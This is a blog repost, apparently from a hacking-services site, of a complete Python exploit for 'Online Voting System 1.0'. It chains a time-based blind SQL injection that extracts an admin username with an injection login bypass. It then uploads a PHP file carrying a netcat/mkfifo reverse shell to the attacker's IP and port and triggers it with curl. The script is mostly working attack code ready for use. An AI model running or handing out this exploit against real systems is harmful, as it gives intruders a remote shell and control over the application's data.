Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863550900

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Online Voting System 1.0 - SQLi (Authentication Bypass) + Remote Code Execution (RCE)
# Exploit Author: Geiseric
# Original Exploit Author: deathflash1411 - https://www.exploit-db.com/exploits/50076 - https://www.exploit-db.com/exploits/50075
# Date 02.07.2021
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html
# Version 1.0
# Tested on: Ubuntu 20.04

import requests
import os
import sys
from requests_toolbelt.multipart.encoder import MultipartEncoder
import string
import random




if len(sys.argv) < 4:
	print('[+] Usage: python3 ovsploit.py http://<ip> <your ip> <your port>')
	exit()

url = sys.argv[1]
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]


exp_url = '/Online_voting_system/admin/save_candidate.php'
login_url = '/Online_voting_system/admin/'


def first_get():

	r = requests.get(url+login_url)
	return r.headers['Set-Cookie']


def retrieve_first_admin():
	print("[!] Stage 1: Finding a valid admin user through SQL Injection")
	cookie = first_get()
	count = 0
	i=1
	flag = True
	admin = ''
	while flag:
		for j in range(32,128):
			r = requests.post(url+login_url,data={'UserName': """aasd' AND (SELECT 7303 FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(UserName AS NCHAR),0x20) FROM users WHERE User_Type = "admin" LIMIT 0,1),"""+str(i)+""",1))="""+str(j)+""",0,1)))))PwbW)-- qRBs""",'Password': 'asd','Login':''},headers={"Cookie":cookie})
			if (r.elapsed.total_seconds() > 1):
				admin += chr(j)
				i+=1
				sys.stdout.write("\rAdmin User: "+ admin)
				sys.stdout.flush()
				count=0
			else:
				if count == 100:
					flag = False
					break
				else:
					count += 1
	print("\n[+] First admin user found!")
	print("[!] Starting Stage 2")
	return admin




def id_generator(size=6, chars=string.ascii_lowercase):
	return ''.join(random.choice(chars) for _ in range(size))+'.php'



def login_bypass(cookie):
	username = retrieve_first_admin()
	print("[!] Stage 2 started: Bypassing Login...")
	r = requests.post(url+login_url,data={'UserName': username,'Password': "' or ''='",'Login':''}, headers={'Cookie':cookie})
	return cookie



def rev_write():
	name = id_generator()
	f = open(name,'w')
	f.write('<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ' +attacker_ip+ " " + attacker_port+' >/tmp/f"); ?>')
	f.close()
	print('[+] Generated file with reverse shell: ' +name)
	return name


def exploit(cookie):
	print("[+] Uploading reverse shell...")
	filename=rev_write()
	multipart_data = MultipartEncoder(

		{
	            # a file upload field
	            'image': (filename, open(filename, 'rb'), 'application/x-php'),
	            # plain text fields
	            'user_name': 'admin',
	            'rfirstname': 'test',
	            'rlastname': 'test',
	            'rgender': 'Male',
	            'ryear': '1st year',
	            'rmname': 'test',
	            'rposition': 'Governor',
	            'party': 'test',
	            'save': 'save'
	           }
    	)
	r = requests.post(url+exp_url, data=multipart_data, headers={'Content-Type': multipart_data.content_type, 'Cookie':cookie})
	return filename




filename = exploit(login_bypass(first_get()))
print("[!] Triggering...")
input('[+] Please start a listener on port ' + attacker_port +' then press Enter to get shell.')
os.system('curl '+url+'/Online_voting_system/admin/upload/'+filename+' -m 1 -s')
print("[+] Cleaning up!")

os.system("rm "+ filename)